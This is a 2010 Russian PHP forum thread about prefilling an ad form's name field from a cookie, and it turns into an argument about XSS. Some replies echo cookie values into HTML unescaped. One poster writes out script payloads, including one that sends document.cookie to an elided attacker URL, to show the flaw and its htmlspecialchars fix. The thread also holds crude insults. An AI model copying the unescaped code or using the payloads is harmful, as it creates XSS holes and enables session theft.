|
|
|
| вот такая вот задачка
незареганный пользоваетль заходит на стр добавления обьявления первый раз он вписывает имя в соответсвующее поле. а при заходе на эту же стр последующие разы поле имя уже заполненно.
возможно ли это все сделать с помощью куков и если возможно то подскажите куда рыть или как это примерно реализовать | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 09:55)
| |
<?php
// так поставить на первой странице
setcookie("name", $_POST['name'], time()+3600);
// так прочитать на других
?>
<input type="text" name="name" value="<?php if (isset($_COOKIE["name"])) echo $_COOKIE["name"]; ?>"/>
|
| |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 10:23)
| | проблемма в том что мне нужно запихнуть вот так вот
$text .=" <input type='text' name='gnl_user' value='" if (isset($_COOKIE["gnl_user"])) echo $_COOKIE["gnl_user"]"' ></td>";
|
но в этом случаем ргается на IF | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 11:06)
| | $text .=" <input type='text' name='gnl_user' value='";
if (isset($_COOKIE["gnl_user"])) $text .= $_COOKIE["gnl_user"];
$text .= "' ></td>"; | |
|
|
|
|
|
|
|
для: shah
(15.03.2010 в 12:11)
| | все сделал как вы предложили но почему то при повторном заходе на эту стр в поле Name не появилось уже введенное имя пользователя | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 11:06)
| | Остается придумать себе имя типа: "/><script>window.location('...')</script><br" и бедные пользователи с этого компьютера не попадут на ваш сайт, а попадут на мой. | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 12:32)
| | т.е это совсем не безопасно делать? | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 12:36)
| | Так как предложил этот "умник" не безопасно. | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 12:36)
| | всё нормально | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 12:32)
| | :)))
да вы хэкер. а откуда вы знаете, что имя пользователя будет выводиться не с использованием htmlspecialchars потом скажем в списке пользователей, или на странице пользователя?
при регистрации какой смысл? эту страницу видит ТОЛЬКО ТОТ пользователь, который регистрируется
p.s в тебе речь не шла о безопасности | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 12:41)
| | В условии написано, что никто регистрироваться не должен
> от такая вот задачка
> незареганный пользоваетль заходит ...
> а откуда вы знаете, что имя пользователя будет выводиться не с использованием htmlspecialchars потом
Судя по тому как оно выведено здесь <input type="text" name="name" value="<?php if (isset($_COOKIE["name"])) echo $_COOKIE["name"]; ?>"/>, как оно будет выведено потом, меня уже мало интересует. | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 12:48)
| | блядь, вы тупой??????????
незаганый пользователь заходит, вписывает в форму своё имя, жмёт кнопку "Добавить". Данные об объявлении помещаются например в базу. Пользователь идёт на следующую страницу, появляется новая форма добавления, которая читает куки С ЕГО МАШИНЫ и вставляет их в текстовое поле (чтобы пользователю не воводить имя заново). При добавлении объявления НИКТО КРОМЕ ПОЛЬЗОВАТЕЛя НЕ ПОЛУЧАЕТ ДОСТУП К ДАННЫМ В ЕГО КУКАХ.
уже потом из базы при выводе объявлений происходит фильтрация от xss атак
думайте хоть чуть-чуть, прежде чем писать откровенный оленизм | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:08)
| | сделал так
setcookie("gnl_user", $_POST['gnl_user'], time()+3600);
|
ниже на этой же стр нарисовал
$text .=" <input type='text' name='gnl_user' value='";
if (isset($_COOKIE["gnl_user"])) $text .= $_COOKIE["gnl_user"];
$text .= "' ></td>
|
добавляю обьявление захожу сного на эту же стр и поле gnl_user совершенно пустое
что то не так сделал?? | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 13:20)
| | посмотрите что в html-коде для начала, так же выведите данные из куков не в значение поля, а куда-нибудь в другое место в документе, чтобы проверить записались данные или нет | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:24)
| | вывел за пределы формы
if (isset($_COOKIE["name"])) echo $_COOKIE["name"];
|
совсем ничего не появляется куки не записываются | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 13:31)
| | а перед записью из формы переданное значение $_POST["name"] не пустое? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:34)
| | я так понимаю значение $_POST["name"] заполняется тогда когда заполняем форму ? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:08)
| | Судя по всему, тупой - это ты.
Какая база?? Какие пользователи?? Где тебе все это померещилось? Ты пост читал вообще?))
Ты понимаешь что написав echo $_COOKIE["name"] на общедоступной странице сайта, ты позволяешь вставить любой код в страницу? | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 13:33)
| | на какой общедоступной странице?)))
откуда будут браться объявления на странице вместе с текстом и именем человека, разместившего его на странице сайта???? из куков????? ты болен, чел
ты можешь понять, что куки здесь нужны только для удобства человека, который добавляет это объявление, ТОЛЬКО ДЛЯ ТОГО ЧТОБЫ ЕМУ НЕ ВВОДИТЬ СВОЁ ИМЯ НЕСКОЛЬКО РАЗ, НА СТРАНИЦЕ, НА КОТОРОЙ ЗНАЧЕНИЯ ПОЛЕЙ ИЗ ЕГО КУКОВ НЕ ВИДИТ НИКТО
p.s ты хоть раз хоть что-нибудь разрабатывал сам чтобы вникнуть для чего что нужно вообще? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:39)
| | я так понимаю значение $_POST["name"] заполняется тогда когда заполняем форму ? | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 13:49)
| | когда отправляем заполненную форму (в которой есть поле с именем name) | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:52)
| | да оно заполненно имя в базе сохраняется а вот выводиться через куки не хочет | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 13:52)
| | вообще, на самом деле сложно сказать однозначно в чем там у вас проблема.
но если эти параметры должны запоминаться только на время текущего сеанса, то лучше использовать сессии | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 13:52)
| | запусти этот код
<?php
$_COOKIE["name"] = "myname\"/><script>alert('Я мудак');window.location.href='http://google.ru'</script><br attr=\"attr";
echo "
<p>Форма добавления объявления</p>
<form>
Ваше имя:<input name=\"name\" value=\"".$_COOKIE["name"]."\" />
</form>";
?>
|
потом запути этот код
<?php
$_COOKIE["name"] = "myname\"/><script>alert('Я мудак');window.location.href='http://google.ru'</script><br attr=\"attr";
echo "
<p>Форма добавления объявления</p>
<form>
Ваше имя:<input name=\"name\" value=\"".htmlspecialchars($_COOKIE["name"])."\" />
</form>";
?>
|
| |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 14:04)
| | ага, то есть вы учитываете даже такой момент, что пользователь, КОТОРОМУ НАДО ДОБАВИТЬ ОБЪЯВЛЕНИЕ, БУДЕТ СПЕЦИАЛЬНО ВМЕСТО СВОЕГО ИМЕНИ ПИСАТЬ КОД JAVSCRIPT ЧТОБЫ СЕБЯ ОТПРАВИТЬ НАПРИМЕР НА ГУГЛ ??
какая все-таки у вас глубина мысли........ | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 14:09)
| | Какой же ты все-таки тупой!!!
Столько времени на тебя потратил, а ты дурак так ничего и не понял! Иди читай что такое СOOKIES, а не советуй людям бред... | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 14:18)
| | Куки (слово не склоняется; от англ. cookie — печенье) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла, который веб-клиент (обычно веб-браузер) каждый раз пересылает веб-серверу в HTTP-запросе при попытке открыть страницу соответствующего сайта. Применяется для сохранения данных на стороне пользователя, на практике обычно используется для:
* аутентификации пользователя;
* хранения персональных предпочтений и настроек пользователя;
* отслеживания состояния сессии доступа пользователя;
* ведения статистики о пользователях.
специально для тебя идиота выделил
ты всем пользователям свои персональные настройки всегда показываешь?
другие пользователи видят, что хранится у тебя в куках, когда проходишь аутентификацию например на этом сайте?
Межсайтовый скриптинг или XSS (аббр. от англ. Cross Site Scripting) — тип уязвимостей, обычно обнаруживаемых в веб-приложениях, которые позволяют внедрять код злонамеренным пользователям в веб-страницы, просматриваемые другими пользователями. Примерами такого кода являются HTML-код и скрипты, выполняющиеся на стороне клиента, чаще всего JavaScript.
где у нас будет просмотр другими пользователями? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 15:02)
| | Сходите лучше на www.xakep.ru, ей богу вам полезнее это будет. | |
|
|
|
|
|
|
|
для: sim5
(15.03.2010 в 15:19)
| | народ хорош тут выяснять кто круче знает что такое куки, вы мне помогите реализовать то что задуманно | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 15:30)
| | Ну а вам нужно просто почитать как работает механизм cookies, будете знать, значит реализуете. | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 15:02)
| | Надо быть полным кретином, чтобы пол дня с пеной у рта, оскорблениями, насмешками и иронией учить людей на форуме тому, в чем не знаешь элементарных основ!?
Ты наверное считаешь себя очень "умным" и "самоуверенным" человеком? Думаю для тебя будет тяжело осознать, что это не так. | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 16:31)
| | а ты, наверное, слепо веришь форуму, и не думая лепишь где только можно ненужные в данном контексте функции
расскажи мне где здесь уязвимость, о великий (именно от начала до конца, не надо рисовать формы, я же хочу понять зачем ты столько времени потратил) | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 16:42)
| | Смотри.
Ты зашел, в интернет кафе, чтобы разместить объявление на сайте avito.ru например
Входишь на главную страницу, нажимаешь "добавить объявление".
Но вместо того, чтобы увидеть форму для заполнения объявления, ты почему-то оказываешься на вредоносном сайте? Угадай почему? Потому что, до тебя на этом сайте (с этого компьютера) побывал другой умник со странным именем "\"/><script>window.location.href='...&cookie='+document.cookies</script>...". Если ты еще и зарегистрировался на этом сайте то он получит твой SID, следовательно сможет войти под твоим именем и т.д.
Основное правило web-программирования - не верить тому, что тебе прислал клиент ($_POST, $_GET, $_COOKIE)
Теперь я могу расчитывать на то, что потратил столько времени не зря?) | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 17:11)
| | в этом случае да, переадресация будет, в принципе правильно, но случай довольно необычный, и
document.cookies, по идее, отдаст содержимое куков только для этого сайта. что мы здесь потеряем? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 17:20)
| | ВСЕ входящие данные надо фильтровать и инициализировать ВСЕ переменные.
Для NoCash, упрощённо :
<?
$cooc=!empty($_COOKIE['gnl_user'])) ? $_COOKIE['gnl_user'] : NULL;
value="<?php echo htmlspecialchars($cooc) ; ?>" >
|
про get_magic_quotes_gpc() не забывайте. | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 17:20)
| | > что мы здесь потеряем?
Ну девственность ты там конечно не потеряешь, но порнухи насмотришься - это в лучшем случае.
А я бы просто незаметно переадресовал тебя на свою страничку (точную копию той на которую ты должен был попасть) и предложил бы вместе с добавлением объявления ввести и свой пароль и email, чтобы был. | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 17:58)
| | ну незаметно вряд ли бы получилось
доводы убедительные, хотя частный случай, и по-моему, уязвимость не критичная, хотя для хакеров-задротов пойдёт :)
p.s беру оскорбительные слова обратно | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 17:11)
| | >Смотри.
>
>Ты зашел, в интернет кафе, чтобы разместить объявление на сайте avito.ru например
>Входишь на главную страницу, нажимаешь "добавить объявление".
>Но вместо того, чтобы увидеть форму для заполнения объявления, ты почему-то оказываешься на вредоносном сайте? Угадай почему? Потому что, до тебя на этом сайте (с этого компьютера) побывал другой умник со странным именем "\"/><script>window.location.href='...&cookie='+document.cookies</script>...". Если ты еще и зарегистрировался на этом сайте то он получит твой SID, следовательно сможет войти под твоим именем и т.д.
>
>Основное правило web-программирования - не верить тому, что тебе прислал клиент ($_POST, $_GET, $_COOKIE)
>
>Теперь я могу расчитывать на то, что потратил столько времени не зря?)
Если ваша кука исполняет вредоносный код, то только вам хуже, а другим пользователям она навредить не может, так как содержится именно у вас на компьютере и ее исполнение может произойти только в вашем браузере. Хотя я, даже ради прикола не оставлял бы такую возможность. | |
|
|
|
|
|
|
|
для: Рома
(15.03.2010 в 18:34)
| | >Если ваша кука исполняет вредоносный код, то только вам хуже, а другим пользователям она навредить не может, так как содержится именно у вас на компьютере и ее исполнение может произойти только в вашем браузере. Хотя я, даже ради прикола не оставлял бы такую возможность.
ну тут уже имеется ввиду более извращенный случай, когда за одним компом сидят разные пользователи и имею цель навредить друг другу :)
случай необычный, но в принципе возможный, признаюсь, я о таком совсем не думал | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 18:42)
| | толковая мысль ;) | |
|
|
|
|
|
|
|
для: Рома
(15.03.2010 в 18:48)
| | для oliss
дело в том что у меня на сайте и куки так и не заработали поэтому ваше дополнее конечно важная вешь но пока что не на первом плане | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 19:02)
| | У вас в браузере кукисы вообще включены?))) | |
|
|
|
|
|
|
|
для: buldovsky
(15.03.2010 в 19:06)
| | да конечно | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 19:02)
| | так а че у вас за сайт такой, что куки не ставятся? у всех ставятся, а у вас почему то нет. | |
|
|
|
|
|
|
|
для: Рома
(15.03.2010 в 19:15)
| | пишу вот что
setcookie("gnl_user", $_POST['gnl_user'], time()+3600);
|
в форме пишу
$text .=" <input type='text' name='gnl_user' value='";
if (isset($_COOKIE["gnl_user"])) $text .= $_COOKIE["gnl_user"];
$text .= "' ></td>
|
обьявления прекрасно добовляется так же добовляется имя юзра в БД но куки не выыводятся
возможно это из за записи
if (USER==FALSE) ($gnl_user =$_POST['gnl_user'] );
|
но если ее убрать то имя в базу не заноситься | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 19:23)
| | print_r($_COOKIE); что даёт? | |
|
|
|
|
|
|
|
для: oliss
(15.03.2010 в 19:28)
| | Array ( [PHPSESSID] => 660f08792598f9d1342a79dd246f59a0 [logintheme] => cpanel [cprelogin] => no [cpsession] => closed [e107_tdOffset] => 4 [e107_tdSetTime] => 1268670619 [e107_tzOffset] => -300 [24NET_SM_GUEST_ID] => 229072 [24NET_SM_LAST_VISIT] => 12.03.2010 08:33:50 )
вот такая чтука вылезла | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 19:31)
| |
USER это константа?
Ну куки у вас пишутся нормально ,не работает конструкция
setcookie("gnl_user", $_POST['gnl_user'], time()+3600);
|
| |
|
|
|
|
|
|
|
для: oliss
(15.03.2010 в 19:33)
| | эт глабальная переменная если фэлс то бзер незареган если тру то зареган | |
|
|
|
|
|
|
|
для: NoCash
(15.03.2010 в 19:37)
| | Так переменная или константа,если переменная то определите её как переменную $ | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 18:42)
| | Зачем мне другие пользователи? Ведь "чужим" как раз могу быть сам я. | |
|
|
|
|
|
|
|
для: sim5
(15.03.2010 в 19:43)
| | интересно.
каким образом? | |
|
|
|
|
|
|
|
для: psychomc
(15.03.2010 в 23:41)
| | Вы когда либо воровали яблоки в чужом саду? Если да, то в первую очередь искали дыру в заборе, а дальше... Вот наличие дыр в заборе мне и нужно, а уж каким образом, это уже второй вопрос.
Сходите туда, куда я вас послал. | |
|
|
|
|
|
|
|
для: sim5
(16.03.2010 в 06:47)
| | был там, читал про xss (http://forum.xakep.ru/m_1298634/tm.htm). не впечатлило :)
хотя врага нужно знать в лицо, поэтому все-равно полезно :) | |
|
|
|
|
|
|
|
для: psychomc
(16.03.2010 в 10:09)
| | Ломают не для впечатлений, а с конкретными целями. А чтобы не оставлять дыр в заборе и нужно знать идеологию вора. | |
|
|
|